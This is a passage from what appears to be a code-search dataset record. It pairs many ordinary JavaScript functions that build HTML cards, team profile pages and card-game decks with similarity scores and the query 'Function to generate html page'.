here\" />\n <link href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css\" rel=\"stylesheet\">\n <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/css/bootstrap.min.css\">\n <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css\">\n <link rel=\"stylesheet\" href=\"./styles.css\">\n <title>${name}</title>\n</head>\n\n<body>\n <nav class=\"navbar navbar-dark justify-content-center\">\n <span id=\"title-text\" class=\"navbar-brand mb-0 h1\">\n <i class=\"fas fa-user-friends\"></i>${name}\n </span>\n </nav>\n\n <div id=\"team-cards\" class=\"container d-flex flex-wrap justify-content-center align-items-center\">\n `;\n\t// loop through the team members in the team data array and dynamically insert data into team member bootstrap card\n\tfor (let teamMember of team) {\n\t\t// if the team member has a github profile, then dynamically create a link to the github profile\n\t\tif (teamMember.altLabel === 'GitHub')\n\t\t\taltStuff = `<a href=\"https://github.com/${teamMember.alt}\">${teamMember.alt}</a>`;\n\t\telse altStuff = teamMember.alt;\n\n\t\thtmlString = htmlString.concat(`\n<div class=\"card m-2\" style=\"min-width: 20rem;\">\n <div class=\"card-body\">\n <h5 class=\"card-title\">${teamMember.fullName}</h5>\n <h5 class=\"card-title\">${teamMember.icon} ${teamMember.role}</h5>\n </div>\n <ul class=\"list-group list-group-flush\">\n <li class=\"list-group-item\">ID: ${teamMember.id}</li>\n <li class=\"list-group-item\"><a href=\"mailto:${teamMember.email}\">Email: ${teamMember.email}</a></li>\n <li class=\"list-group-item\">${teamMember.altLabel}: ${altStuff}</li>\n </ul>\n</div>\n`);\n\t}\n\t// add ending html to the html string\n\thtmlString = htmlString.concat(`\n </div>\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js\"></script>\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.1/umd/popper.min.js\"></script>\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/js/bootstrap.min.js\"></script>\n</body>\n\n</html>`);\n\t// call the function to create the html file for the html string created\n\tcreateHtmlFile(htmlString);\n}", "function createGameBoard() {\n // ForEach method called on trueCardArr adds each card into the deck, returning the entire deck at the end\n\ttrueCardArr.forEach(function(card) {\n return deck.innerHTML += card;\n });\n\treturn deck;\n}", "function displayMemberCards() {\n\n document.getElementById(\"app\").innerHTML = `\n <!-- start cards -->\n <div class=\"row\"> \n ${globalMembers.map(memberTemplateCard).join(\"\")}\n </div>\n <!-- End cards -->\n\n `;\n\n}", "function generateBasicCards(cardSet) {\n\t\t$(\"#cardRow\").empty();\n\t\tfor (var i = 0; i < cardSet.length; i++) {\n\t\t\t$(\"#cardRow\").append(\"<div class='col-sm-6 col-md-3 flip'><div class='thumbnail flashCardThumbnail'><div class='caption cardCaption front'><h4 class='text-center question'>\" + cardSet[i].front + \"</h4></div><div class='caption cardCaption back'><h5 class='text-center question'>\" + cardSet[i].back + \"</h5></div></div></div>\");\n\t\t}\n\t}", "function generateCard(data)\n{\n people = data;\n const contact = data.map(item => `\n <div class=\"card\">\n <div class=\"card-img-container\">\n <img class=\"card-img\" src=${item.picture.medium} alt=\"profile picture\">\n </div>\n <div class=\"card-info-container\">\n <h3 id=\"name\" class=\"card-name cap\">${item.name.first} ${item.name.last}</h3>\n <p class=\"card-text\">${item.email}</p>\n <p class=\"card-text cap\">${item.location.city}, ${item.location.state}</p>\n </div>\n </div>\n `).join(\"\");\n $gallery.append(contact);\n}", "function createHTML(teamArray,manager) {\n const header = `\n <!DOCTYPE html>\n <html lang=\"en\">\n <head>\n <meta charset=\"UTF-8\" />\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\" />\n <link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css\"\n integrity=\"sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2\" crossorigin=\"anonymous\" />\n <title>Team Profiles</title>\n </head>\n <body>\n <header class=\"jumbotron bg-info text-white\">\n <h1 class=\"text-center\">My Team</h1>\n </header>\n <section class=\"container\">`;\n let managerSection = managerCardTemplate(manager);\n let employeeSection = ''; \n const footer = `\n </section>\n </body>\n `;\n for (let index = 0; index < teamArray.length; index++) {\n const employee = teamArray[index];\n console.log(employee);\n let card = '';\n if(employee.getRole() === 'Intern') {\n card = internCardTemplate(employee);\n } else if(employee.getRole() === 'Engineer') {\n card = engineerCardTemplate(employee);\n }\n employeeSection += card;\n }\n return header+managerSection+employeeSection+footer; \n }", "function render_cards(){\n var cards = game_instance.get_cards();\n for(var i = 0; i < cards.length; i++){\n cards[i].render_card();\n }\n }", "function createCards() {\n\ttitles_flipped = 0; \n\tvar card = '';\n\tmemorCards.shuffle(); \n\tfor(var i = 0 ; i < memorCards.length; i++){\n\tcard = card + '<div id=\"title_' + i + '\" class=\"'+memorCards[i]+'\"onclick=\"cardSwitch(\\''+i+'\\',\\''\n\t+memorCards[i]+'\\')\"></div>';\n\tmemoryValues = [];\n\tmemoryTitleIds = []; \n\n\t}\t\n\t\tdocument.getElementById('playground').innerHTML = card; \n}", "function makeCards(anArray){\n anArray.forEach(function(element, index) {\n // console.log(\"element\", element); //this is the object\n // console.log(\"index\", index); //this is where the object is in the array\n //creates the entire card\n var cardHolder = $(\"<div>\");\n cardHolder.addClass(\"stat-card row\");\n var image = $(\"<img>\").attr(\"src\", element.image).addClass(\"img image img-responsive col-xs-5\");\n var stats = $(\"<div>\").html(`<h3>${element.name}</h3>\\n<p>Health: ${element.hp}</p>\\n<p>Max Attack: ${element.attack}</p>\\n<p>Max Counter Attack: ${element.counterAttack}</p>\\n<p>Special Ability: ${element.ability.abilityName}</p>`);\n stats.addClass(\"col-xs-5 text-normal stats\")\n cardHolder.append(image);\n cardHolder.append(stats);\n cardHolder.attr(\"id\", element.name);\n if(firstRun<players.length){\n $(\"#startCardHolder\").append(cardHolder);\n firstRun++;\n }\n else{\n console.log(\"here\");\n if(chosen){\n $(\"#hero\").append(cardHolder);\n }\n else{\n $(\"#enemy\").append(cardHolder);\n $(\"#enemy\").addClass(\".glowing-enemy\");\n }\n }\n });\n}", "generateCards(cards) {\n return cards.map((card, index) => {\n return (\n <Card\n key={index}\n src={card.src}\n name={card.nameCard}\n is_open={card.is_open}\n game={this.game.bind(this, card.id)}\n />\n );\n });\n }", "function showData(list) {\n // Header is set to the team name\n $(\"#teamName\").text(list.TeamName);\n\n // Create card for manager\n let managerCard = createManagerCard(list);\n $(\"#team-details\").append(managerCard);\n\n // Create card for team 'rules'\n let requirementCard = createRequirementCard(list);\n $(\"#team-details\").append(requirementCard);\n\n // Create card for members\n if(list.Members.length == 0) {\n $(\"#team-members\").append($(\"<p>\")\n .text(\"There are currently no team members registered!\")\n .prop(\"class\", \"white\"));\n }\n else {\n for(let i = 0; i < list.Members.length; i++) {\n let memberCard = createMemberCard(list.Members[i]);\n $(\"#team-members\").append(memberCard);\n }\n }\n}", "static addEngineerToSkeleton(teamArray) {\n const engArray = teamArray.filter(teamMember => teamMember instanceof Engineer)\n let toReturn = \"\"\n engArray.forEach(engineer => {\n toReturn = toReturn + `<div class=\"card engineercard p0 m-3\">\n <div class=\"container\">\n <h4><b>${engineer.getName()}</b></h4>\n <p>${Engineer.getRole()}</p>\n <hr>\n <p>ID: ${engineer.getId()}</p>\n <p>Email: <a href=\"mailto:${engineer.getEmail()}\">${engineer.getEmail()}</a></p>\n <p>github: <a href=\"https://github.com/${engineer.getGitHubUserName()}\">${engineer.getGitHubUserName()}</a></p>\n </div>\n </div>\n `\n });\n return toReturn;\n }", "function createListOfCards() {\n const cards = createListOfCardsUrl();\n let listOfCards = [];\n for (let i = 0; i < 4; i++) {\n listOfCards.push(new CreateNewCard(cards[i], 11))\n }\n\n for (let i = 4; i < 8; i++) {\n listOfCards.push(new CreateNewCard(cards[i], 2))\n }\n\n for (let i = 8; i < 12; i++) {\n listOfCards.push(new CreateNewCard(cards[i], 3))\n }\n\n for (let i = 12; i < 16; i++) {\n listOfCards.push(new CreateNewCard(cards[i], 4))\n }\n\n for (let i = 16; i < 20; i++) {\n listOfCards.push(new CreateNewCard(cards[i], 5))\n }\n\n for (let i = 20; i < 24; i++) {\n listOfCards.push(new CreateNewCard(cards[i], 6))\n }\n\n for (let i = 24; i < 28; i++) {\n listOfCards.push(new CreateNewCard(cards[i], 7))\n }\n\n for (let i = 28; i < 32; i++) {\n listOfCards.push(new CreateNewCard(cards[i], 8))\n }\n\n for (let i = 32; i < 36; i++) {\n listOfCards.push(new CreateNewCard(cards[i], 9))\n }\n\n for (let i = 36; i < 52; i++) {\n listOfCards.push(new CreateNewCard(cards[i], 10))\n }\n\n listOfCards.push(new CreateNewCard(cards[52], 0))\n\n return listOfCards;\n}", "function makeDeck() {\n var count = 0;\n var name = ['9', '10', '11', '12', '13', '14'];\n var suit = ['c', 's', 'd', 'h'];\n for (var n = 0; n < name.length; n++) {\n for(var s = 0; s < suit.length; s++) {\n var newCard = new Card(name[n], suit[s], parseInt(name[n], 10), `cardDeck/${name[n]}${suit[s]}.png`); \n if (suit[s] === 'c' || suit[s] === 's') {\n newCard.color = \"black\";\n } else newCard.color = \"red\";\n euchreDeck[count] = newCard;\n count++;\n }\n }\n}", "function drawCard() {\n let card = document.createElement(\"span\");\n playerCards.appendChild(card);\n generateRandomValues(); //Diese Funktion generiert ein randomNumberValue und randomColorValue. Am Ende gibt sie randomNumberValue und randomColorValue zurück (return)\n card.textContent = \"randomNumberValue\";\n card.className = \"randomColorValue\";\n passAllowed = true;\n }", "function generaCard(array){\n iconsContainer.innerHTML = \"\"\n //creo card per ogni...\n for (i = 0; i < array.length; i++){\n\t\tlet {family, prefix, type, color, name} = array[i];\n const content = ` \n <div class=\"icon-card d-flex\">\n <i class=\"${family} ${prefix}${name}\" style= \"color:${color}\"></i>\n <h4>${name}</h4>\n </div>\n `;\n\n iconsContainer.innerHTML += content;\n }\n}", "function initializeCharacterCards(){\n for (let i = 0; i < 6; i++){\n Game.characterDatabase[i].displayNewCard(i);\n }\n }", "function createCards() {\n\tvar id = 1;\n\twhile (id <= pairs*2) {\n\t\tvar card = document.createElement(\"SPAN\");\n\t\tvar picture = document.createElement(\"IMG\");\n\t\t\n\t\t// Set attributes to each image-element.\n\t\tpicture.setAttribute(\"class\", \"grid-item\");\n\t\tpicture.setAttribute(\"id\", id.toString());\n\t\tpicture.setAttribute(\"src\", \"card.png\");\n\t\tpicture.setAttribute(\"onclick\", \"flipCard('\"+\"#\"+id.toString() +\"',\" + id.toString() +\")\");\n\t\t\n\t\t// The image-element is inside a span-element.\n\t\tcard.appendChild(picture);\n\t\tid++;\n\t\t\n\t\t// The span-elements are in the game area.\n\t\t$(\"#gamearea\").append(card);\n\t}\n}", "function generateCardDeck(){\n cardDeck.length = 0;//empty any potentially existing instance of the deck, to prevent it duplicating entries.\n cardDeck = [];\n for(let suitNo = 0; suitNo < 4; suitNo++){ //condensed it all down to two for loops, and a two switch statements in a constructor.\n for(let rankNo = 0; rankNo< 13; rankNo++){ //4 Suits and 13 Ranks of cards.\n cardDeck.push(new card(rankNo, suitNo));\n }\n }\n shuffleDeck(cardDeck);\n}", "function createDeck() {\r\n let deckDOM = document.querySelector('.deck');\r\n\r\n shuffle(deckOfCards);\r\n\r\n let temp = '';\r\n let i = 0;\r\n let len = deckOfCards.length;\r\n for (; i < len; i++) {\r\n temp = temp + printCardHTML(deckOfCards[i]);\r\n }\r\n\r\n deckDOM.innerHTML = temp;\r\n}", "function displayMemberProfileCard(member) {\n\n return `\n <div class=\"card\">\n\n \n <img class=\"card-img-top img-fluid\" src=\"${member.image_display_url}\" onerror=\"this.onerror=null;this.src='${organizationImageDefaut}';\" alt=\"${member.display_name}\"> \n\n\n <div class=\"card-body\">\n <h4 class=\"card-title\">${member.display_name}\n ${member.organization_type ? orgType(member.organization_type) : \"\"} \n </h4>\n <h6 class=\"card-subtitle mb-2 text-muted\">${member.slogan}</h6>\n\n ${displayMemberContactInfo(member)}\n\n </div>\n</div>\n\n`;\n\n}", "function generateTeamMembers() {\n\n for (var i=0; i<team.length; i++) {\n var currTeam = team[i];\n var role = (currTeam.gradYear >= GRAD_YEAR) ? currTeam.role : 'Alumnus';\n var imageURL = '/public/images/team/' + currTeam.id + '.jpg';\n var hoverImageURL = '/public/images/team/' + currTeam.id + '-hover.jpg';\n\n currTeam.imageURL = imageURL;\n currTeam.hoverImageURL = hoverImageURL;\n currTeam.index = i; // For keeping track of which board member in array\n\n // Create each board member div\n var result = '<div class=\"col-md-3 col-sm-6 col-xs-12\">' +\n '<div class=\"team-member\" data-year=\"' + currTeam.gradYear + '\">' +\n '<div class=\"img-tile\" data-index=\"' + i + '\" id=\"' + currTeam.id + '\"></div>' +\n '<div class=\"team-member-text\">' +\n '<p>' + currTeam.name + '</p>' +\n '<p class=\"light\">' + role + '</p>' +\n '<p class=\"light-gray\">Class of ' + currTeam.gradYear + '</p>' +\n '</div>' +\n '</div>' +\n '</div>';\n\n $('#board-members-wrapper').append(result);\n\n // Also preload hover images, as they don't load by default\n $('.preloaded-images').append('<img src=\"' + hoverImageURL + '\"/>')\n\n // Add css\n $('#' + currTeam.id).css('background', 'url(' + imageURL + ') no-repeat center center');\n $('#' + currTeam.id).css('background-size', 'cover');\n\n // Add hover effect\n $('#' + currTeam.id).hover(function(e) {\n // Conditionally render image\n var index = parseInt($(this).attr(\"data-index\"), 10);\n var image = (e.type === 'mouseenter') ? team[index].hoverImageURL : team[index].imageURL;\n $(this).css('background', 'url(' + image + ') no-repeat center center');\n $(this).css('background-size', 'cover');\n });\n }\n\n bindYearsToMembers();\n}", "function generateCardItems(card){\n return `<li class =\"card\"><i class = \"fa ${card}\"></i></li>`;\n\n }", "function userCardTemplate(groupes){\n \n let html = \"\";\n groupes.forEach((groupe) => {\n html += '<div class=\" card-col col-sm-12\"><div class=\"card shadow groupe-public-card w-100\"><div class=\"card-body row\">'\n + '<div class=\"col-12\"><div class=\"send-message-grp p-t-10 btn-group-sm contact-options\">'\n + '<a href=\"#\" class=\"float-right\" data-toggle=\"tooltip\" title=\"Rejoindre le groupe\" data-groupe-id=\"' + groupe.id + '\" ><i class=\"fas fa-sign-in-alt\"></i></a></div>'\n + '<div class=\"groupe-public-info\"><h4>' \n + groupe.nom \n +'</h4>' + (groupe.description ? '<p class=\"text-muted\">' + groupe.description + '</p>' : '') + '</div></div></div></div></div>';\n });\n return html;\n }", "function createCards() {\n for (let i = 0; i < imgList.length; i += 1) {\n const cards = document.createElement('div');\n cards.classList.add('card');\n cards.innerHTML = `<div class='back'>${imgList[i]}</div>\n <div class='front'><i class=\"fa fa-line-chart\" style=\"font-size:2em;color:#ffffff;\"></i></div>`;\n cardArray.push(cards);\n }\n // Loops and Shuffles Card Array\n for (let i = cardArray.length - 1; i >= 0; i -= 1) {\n const randomIndex = Math.floor(Math.random() * (i + 1));\n const itemAtIndex = cardArray[randomIndex];\n cardArray[randomIndex] = cardArray[i];\n cardArray[i] = itemAtIndex;\n }\n }", "deck(){\n var cards=this.giveCards();//get all cards\n var PersonCards=[[],[],[],[]];\n var x=0;\n for (let person = 0; person < 4; person++) {//distribute the cards in among four person\n for (let index = 0; index < 9; index++) {\n PersonCards[person][index]=cards[index+x]\n }\n x=x+9; \n \n }\n console.log(\"The First persons cards \"+PersonCards[0].join());\n console.log(\"The Seconds persons cards \"+PersonCards[1].join());\n console.log(\"The Third persons cards \"+PersonCards[2].join());\n console.log(\"The Fourth persons cards \"+PersonCards[3].join());\n\n \n \n\n }", "function GenerateTeam() {\r\n\r\n inquirer.prompt([\r\n {\r\n type: \"list\",\r\n name: \"memberChoice\",\r\n message: \"Please make a team member selection for what you want to add.\",\r\n choices: [\r\n \"Engineer\",\r\n \"Intern\",\r\n \"I don't want to add any more team members\"\r\n ]\r\n }\r\n ]).then(userChoice => {\r\n switch (userChoice.memberChoice) {\r\n case \"Engineer\":\r\n appendEngineer();\r\n break;\r\n case \"Intern\":\r\n appendIntern();\r\n break;\r\n default:\r\n makeTeam();\r\n }\r\n });\r\n }", "function newWinnerCard(challenger1, challenger2, winner) {\n var newCard =\n `\n <div class=\"winner-card\">\n <div class=\"card-top center-text\">\n <h3 class=\"display-name1\">${challenger1}</h3>\n <span class=\"margin-left-right\">vs</span>\n <span class=\"dark\"><h3 class=\"display-name2\">${challenger2}</h3></span>\n </div>\n <hr>\n <div class=\"card-middle center-text\">\n <h2 class=\"winner-name\">${winner}</h2>\n <span class=\"winner-name\">WINNER</span>\n </div>\n <hr>\n <div class=\"card-bottom\">\n <p> 2 GUESSES </p><span>.05 MINUTES</span>\n <button type=\"submit\" name=\"delete\" class=\"delete-btn\">X</button>\n </div>\n </div>\n `\n appendSection.innerHTML = newCard + appendSection.innerHTML;\n }", "createCardNamesArray() {\n return (function idArray() {\n const array = [];\n const suites = ['Clubs', 'Diamonds', 'Hearts', 'Spades'];\n suites.forEach((suite) => {\n for (let i = 1; i < 14; i += 1) {\n switch (i) {\n case 1:\n array.push(`Ace-${suite}`);\n break;\n case 11:\n array.push(`Jack-${suite}`);\n break;\n case 12:\n array.push(`Queen-${suite}`);\n break;\n case 13:\n array.push(`King-${suite}`);\n break;\n default:\n array.push(`${i}-${suite}`);\n break;\n }\n }\n });\n\n return array;\n }());\n }", "function printatrice(teamMember){\nteamContainer.innerHTML += `\n<div class=\"team-card\">\n<div class=\"card-image\">\n<img src=${teamMember.immagine}/>\n</div>\n<div class=\"card-text\">\n<h3>${teamMember.nome}</h3>\n <p>${teamMember.ruolo}</p>\n</div>\n</div> ` \n\nconsole.table(membri)\n}", "function writeEachCard() {\n\t//write contact to user card\n\tfunction writeUserCard(num){\n\t\tconst $avatarHTML = $('> .avatar', $userCards[num]);\n\t\tconst $phoneHTML = $('> div > .phone', $userCards[num]);\n\t\tconst $cityHTML = $('> div > .location', $userCards[num]);\n\t\tconst $addressHTML = $('> div > .address', $userCards[num]);\n\t\tconst $emailHTML = $('> div > .email', $userCards[num]);\n\t\tconst $nameHTML = $('> div > .name', $userCards[num]);\n\t\tconst $usernameHTML = $('> div > .username', $userCards[num]);\n\t\tconst $dobHTML = $('> div > .dob', $userCards[num]);\n\n\t\t$avatarHTML.attr('src', getPersonData(num).avatar);\n\t\t$phoneHTML.html(getPersonData(num).phone);\n\t\t$cityHTML.html(getPersonData(num).city).css('textTransform', 'capitalize');\n\t\t$addressHTML.html(getPersonData(num).address).css('textTransform', 'capitalize');\n\t\t$emailHTML.html(getPersonData(num).email);\n\t\t$dobHTML.html('Birthday: ' + getPersonData(num).dob);\n\t\t$usernameHTML.html('User: ' + getPersonData(num).user);\n\t\t$nameHTML.html(getPersonData(num).name).css('textTransform', 'capitalize');\n\n\t\t$userCards.show();\n\t}\n\t//create modal window for user card\n\tfunction createUserModal(num) {\n\t\t//get inner HTML of Target\n\t\tconst $userModalHTML = $userCards.eq(num).html();\n\t\t//set as HTML of $userModal\n\t\t$userModal.eq(num).html($userModalHTML);\n\t}\n\tfor (let i = 0; i < $userCards.length; i++) {\n\t\twriteUserCard(i);\n\t\tcreateUserModal(i);\n\t}\n}", "function createCardHTML(globals, divElem) {\n var newHTML = [];\n var cardArray = globals.cardArray;\n for (var i = 0; i < globals.NUM_CARDS; i++) {\n\t\tnewHTML.push('<div class=\"card\" id=\"' + cardArray[i].num + '\" style=\"background-image:url(' + cardArray[i].frontFace + '); position:absolute; top:0px; left:' + cardArray[i].xPos + 'px; z-index:' + cardArray[i].zIndex + '\"></div>');\n }cardArray\n\n $(divElem).html(newHTML.join(''));\n\t\n}", "function generateCardGrid() {\n // Spreading method used to combine the arrays so every card \n // has a match.\n const completeCards = shuffle([...cards, ...cards]);\n\n // This iterates each array in the completeCards array\n // c will be equal to current item we are on.\n completeCards.forEach(c => {\n\n // div container element for card\n const container = document.createElement('div');\n // divs for the front and back of cards\n const front = document.createElement('div');\n const back = document.createElement('div');\n\n //creates the image element for the front and back of cards\n const frontImg = document.createElement('img');\n const backImg = document.createElement('img');\n\n //Sets the attributes for each element.\n // The container element gets the card class.\n container.classList.add('card');\n //data-cardType to the current card \n container.dataset.cardtype = c;\n\n //Front and back of card class names.\n front.classList.add('card-face');\n front.classList.add('card-front');\n back.classList.add('card-face');\n back.classList.add('card-back');\n\n //Setting the image src's\n frontImg.src = `assets/images/${c}.jpg`;\n frontImg.classList.add('card-value');\n\n // The backs of all of the cards are the same.\n backImg.src = 'assets/images/Flamethrower.jpg';\n backImg.classList.add('back-image');\n\n //Grabs reference for the game grid\n const gameGrid = document.getElementById('game-container');\n //Stacks elements together and injects the current parent\n // into the HTML template.\n front.appendChild(frontImg);\n back.appendChild(backImg);\n container.appendChild(back);\n container.appendChild(front);\n gameGrid.appendChild(container);\n });\n}", "function createGameBoard() {\n //shuffle the card\n const shuffledCards = shuffle(symbols);\n\n //create card\n for (let i = 0; i < shuffledCards.length; i++) {\n const card = document.createElement('li');\n card.classList.add(\"card\");\n card.innerHTML = `<i class=\"${shuffledCards[i]}\"></i>`;\n cardsContainer.appendChild(card);\n\n //call click function on the card\n click(card);\n }\n}", "attachment_cards(ind){\n var attachment = []\n if (ind === 2)\n {\n for (let i=0; i<booking.length; i++){\n attachment.push(this.createHeroCard1(booking, i))\n }\n }\n else if (ind === 3)\n {\n for (let i=0; i<booking.length; i++){\n attachment.push(this.createHeroCard2(booking, i))\n }\n }\n else\n {\n for (let i=0; i<booking.length; i++){\n attachment.push(this.createHeroCard(booking, i))\n }\n }\n return attachment \n }", "function createCard(pokemon) {\n const pokemonEl = document.createElement('div');\n pokemonEl.classList.add('card');\n pokemonEl.classList.add(`${pokemon.types[0].type.name}`)\n const pokeId = (id) => {\n if(id < 10) { return id = \"00\"+id }\n if(id < 100) { return id = \"0\"+id }\n if(id > 100) { return id }\n }\n\n const pokemonCard = `\n \n <img src=\"${pokemon.sprites.other.dream_world.front_default}\" alt=\"${pokemon.name}\" class=\"card-img\">\n <h3 class=\"card-stats-data\"> ${pokemon.name} </h3>\n <div class=\"card-stats\"> \n <div class=\"card-stats-id\"> \n #<span class=\"card-stat-idContent\"> ${pokeId(pokemon.id)} </span>\n </div>\n </div>\n <p class=\"card-stats-data\"> Type: <span> ${pokemon.types[0].type.name} </span> </p>\n `;\n\n pokemonEl.innerHTML = pokemonCard;\n pokemonContainer.appendChild(pokemonEl);\n\n}", "renderCards() {\n for (let i = 0; i < this.pairs * 2; i++) {\n const card = document.createElement('div');\n card.className = 'card';\n card.innerHTML = this.cardBackgroundImageTag;\n\n this.containerNode.appendChild(card);\n }\n }", "function getPlayerCards() {\n //Randomly select player cards\n var selectFirstPlayerCard = possibleCards[Math.floor(Math.random() * possibleCards.length)];\n var selectSecondPlayerCard = possibleCards[Math.floor(Math.random() * possibleCards.length)];\n //Display player cards in document\n document.getElementById('card1').innerHTML = selectFirstPlayerCard;\n document.getElementById('card2').innerHTML = selectSecondPlayerCard;\n }", "function cardGenerator() {\n //Variables\n retornoCentro = [];\n retornoFigura = [];\n let centro = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"J\", \"Q\", \"K\"];\n let figura = [\"♥\", \"♠\", \"♦\", \"♣\"];\n let valorInput = document.querySelector(\"#input\").value; // toma valor del input\n\n //Genera la Aleatoriedad\n for (let x = 0; x < valorInput; x++) {\n let centroIndex = Math.floor(Math.random() * centro.length);\n let figuraIndex = Math.floor(Math.random() * figura.length);\n retornoCentro.push(centro[centroIndex]);\n retornoFigura.push(figura[figuraIndex]);\n }\n cartasToScreen(retornoCentro, retornoFigura, \"democlass\", 2);\n return retornoCentro, retornoFigura;\n}", "function generateTeamsHtml(numTeams){\n var shuffledTeams = createList(numTeams);\n var $div = $('<div>');\n\n\n//place team name on dom\n for(var i = 0; i < shuffledTeams.length; i++){\n var $ul =$('<ul>').text('Posse ' + shuffledTeams[i].name + ':');\n $div.append($ul);\n console.log(shuffledTeams);\n for(var j=0; j < shuffledTeams[i].members.length; j++) {\n $ul.append($('<li>').text(shuffledTeams[i].members[j]));\n }\nconsole.log(shuffledTeams)\n };\n\n\n\n\n // for each team append a team item p\n // for each student within the team, append a li to the team item\n //<div><p><ul>\n return $div;\n}", "function generateHTML(data) {\n return `<!DOCTYPE html>\n<html lang=\"en\">\n\n<head>\n <meta charset=\"UTF-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <title>Team Profile Generator</title>\n <link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/css/bootstrap.min.css\" rel=\"stylesheet\"\n integrity=\"sha384-eOJMYsd53ii+scO/bJGFsiCZc+5NDVN2yr8+0RDqr0Ql0h+rP48ckxlpbzKgwra6\" crossorigin=\"anonymous\">\n <link rel=\"stylesheet\" href=\"./assets/style.css\">\n <script src=\"https://kit.fontawesome.com/05e62abe87.js\" crossorigin=\"anonymous\"></script>\n</head>\n\n<body>\n <header class=\"bg-danger text-white text-center\">\n My Team\n </header>\n <section class=\"row row-cols-3 display: block justify-content-center mt-5\">\n ${generateManagerCard(data)}\n ${generateEngineerCard(data)}\n ${generateInternCard(data)}\n </section>\n <script src=\"https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/js/bootstrap.bundle.min.js\"\n integrity=\"sha384-JEW9xMcG8R+pH31jmWH6WWP0WintQrMb4s7ZOdauHnUtxwoG2vI5DkLtS3qm9Ekf\"\n crossorigin=\"anonymous\"></script>\n</body>\n\n</html>`\n}", "function generateLogoDisplayCard(team1, team2, season) {\n // Generate the Logo Display Card, which shows both teams' logos, and the season\n // under comparison\n \n // Get the team logo URLS\n const team1LogoURL = getTeamInfo(team1, \"WikipediaLogoUrl\");\n const team2LogoURL = getTeamInfo(team2, \"WikipediaLogoUrl\");\n \n // Get the team names & cities\n const team1Name = getTeamInfo(team1, \"City\") + \" \" + getTeamInfo(team1, \"Name\");\n const team2Name = getTeamInfo(team2, \"City\") + \" \" + getTeamInfo(team2, \"Name\");\n\n // Build the HTML content string\n const contentHTML = `\n <div class=\"flexrow logo-display-row\">\n <img src=\"${team1LogoURL}\" alt=\"${team1Name}\">\n <p class=\"logo-display-card\">vs.</p>\n <img src=\"${team2LogoURL}\" alt=\"${team2Name}\">\n </div>\n `;\n // Build the card\n const cardID = \"LogoDisplay\";\n \n // Create the card\n generateMatchupComparisonCard(cardID);\n \n // Insert HTML\n $(`#${cardID}`).html(contentHTML);\n \n}", "static team () {\n const output = [];\n\n const teamSyllables = Util.randomOf([1, 2, 3]);\n const teamWord = BionicleName.newWord(teamSyllables);\n\n const uniqueFirst = Math.random() < 0.5;\n\n for (let i = 0; i < 6; i++) {\n const individualSyllables = Util.randomOf([1, 2, 3]);\n const individualWord = BionicleName.newWord(individualSyllables);\n\n const pair = uniqueFirst\n ? (individualWord + ' ' + teamWord)\n : (teamWord + ' ' + individualWord);\n\n output.push(pair);\n }\n\n // console.log(output);\n\n return output;\n }", "function createCards(cards) {\n let type;\n return cards.map((cardConfig) => {\n const tempCards = [];\n if (cardConfig[2]) {\n type = cardConfig[2];\n }\n for (let i = 0; i < cardConfig[0]; i++) {\n tempCards.push({text: cardConfig[1], type})\n }\n return tempCards;\n }).flat().map( function(item, index){\n const el = document.createElement('div');\n el.setAttribute('text', item.text);\n el.setAttribute('type', item.type);\n el.innerHTML = `\n<p>\n ${item.type}\n</p>\n<p>\n ${item.text}\n</p>\n`;\n el.classList.add('card');\n document.body.appendChild(el);\n addListeners(el);\n el.setAttribute('deck', 'origin');\n return el;\n });\n}" ]
[ "0.7642219", "0.7321311", "0.72974235", "0.6928957", "0.6737123", "0.6698075", "0.66947925", "0.6689622", "0.6658982", "0.6652001", "0.66393447", "0.66383857", "0.66365695", "0.66243774", "0.66217315", "0.6590448", "0.6553823", "0.65415305", "0.65408903", "0.6534377", "0.65328395", "0.6526246", "0.652474", "0.6509754", "0.6505577", "0.65053624", "0.64951795", "0.6493377", "0.64848965", "0.64742893", "0.6463273", "0.6459728", "0.64586014", "0.6434253", "0.64312637", "0.6420713", "0.64198244", "0.6410132", "0.64084226", "0.63928646", "0.6392646", "0.6390991", "0.6388875", "0.6382518", "0.6361277", "0.63612396", "0.63578784", "0.63503504", "0.63484293", "0.6342017", "0.63358223", "0.63347775", "0.63341254", "0.63177246", "0.63169754", "0.6313965", "0.6300614", "0.6295874", "0.6290486", "0.62765944", "0.6273327", "0.62628037", "0.6259868", "0.6257906", "0.6257755", "0.6253263", "0.62531567", "0.6248369", "0.6244143", "0.6231883", "0.6231788", "0.62256557", "0.62226963", "0.62194747", "0.62122786", "0.6209338", "0.620445", "0.62030655", "0.61938244", "0.619027", "0.6188327", "0.61825675", "0.61803925", "0.6174166", "0.6169739", "0.6158819", "0.6144496", "0.61436045", "0.6143248", "0.6139487", "0.6137186", "0.6136505", "0.61349136", "0.613232", "0.6131245", "0.6131074", "0.61268914", "0.6122145", "0.61212766", "0.6118855" ]
0.63957405
39
Function to generate html page
